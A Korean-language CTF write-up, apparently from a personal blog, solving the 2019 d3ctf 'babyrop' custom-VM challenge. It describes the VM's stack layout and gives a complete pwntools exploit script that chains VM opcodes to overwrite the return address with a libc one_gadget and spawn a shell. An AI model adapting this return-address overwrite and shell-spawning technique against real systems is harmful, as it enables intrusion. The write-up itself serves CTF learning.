본문 바로가기

system/writeup

2019 d3ctf babyrop

2019 d3ctf babyrop

쉬운 custom vm 문제다.

custom stack을 이용하여 연산들을 쭉쭉 하는데 stack에 존재하는 변수에 custom stack을 만들어서 연산을 쭉쭉 한다.

딱 봐도 ret 덮을 수 있을 것 같죠?!

opcode 분석들만 해주고 바로 onegadget으로 쉘따면 됩니다.

00000000 custom_stack    struc ; (sizeof=0x14, mappedto_6)
00000000 stack           dq ?
00000008 stack_50        dq ?
00000010 length          dd ?                   ; base 2
00000014 custom_stack    ends

커스텀 스택은 요로코롬 생겼고

이런식으로 opcode들을 쭉쭉 분석해주면 된다.

from pwn import *

#context.log_level= 'debug'

e = ELF('babyrop')
s = process(e.path)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#l = ELF('libc-2.23.so', checksec=False)

ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)

"""
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

gdb-peda$ p/x 0x7ffff7afe147-0x7ffff7a2d830
$20 = 0xd0917
gdb-peda$ p/x 0x7ffff7afd2a4-0x7ffff7a2d830
$21 = 0xcfa74
gdb-peda$ p/x 0x7ffff7a5226a-0x7ffff7a2d830
$22 = 0x24a3a
gdb-peda$ p/x 0x7ffff7a52216-0x7ffff7a2d830
$23 = 0x249e6
"""

pay = chr(0x28)*2 # POP10 * 2
pay += chr(0x56) + p32(0) # MOV 0
pay += chr(0x34)*2 # COPY * 2
pay += chr(0x56) + p32(0x24a3a) # MOV 0x24a3a[onegadget offset]
pay += chr(0x21) # ADD
pay += chr(0x34)*5 # COPY * 5

sl(pay)
io()


'system > writeup' 카테고리의 다른 글

pwnable.tw printable  (0) 2019.12.20
2019 d3ctf lonely_observer  (0) 2019.12.16
2019 d3ctf ezfile  (0) 2019.12.15
2019 holyshield babyheap  (0) 2019.12.04
2018 0ctf final baby  (0) 2019.12.03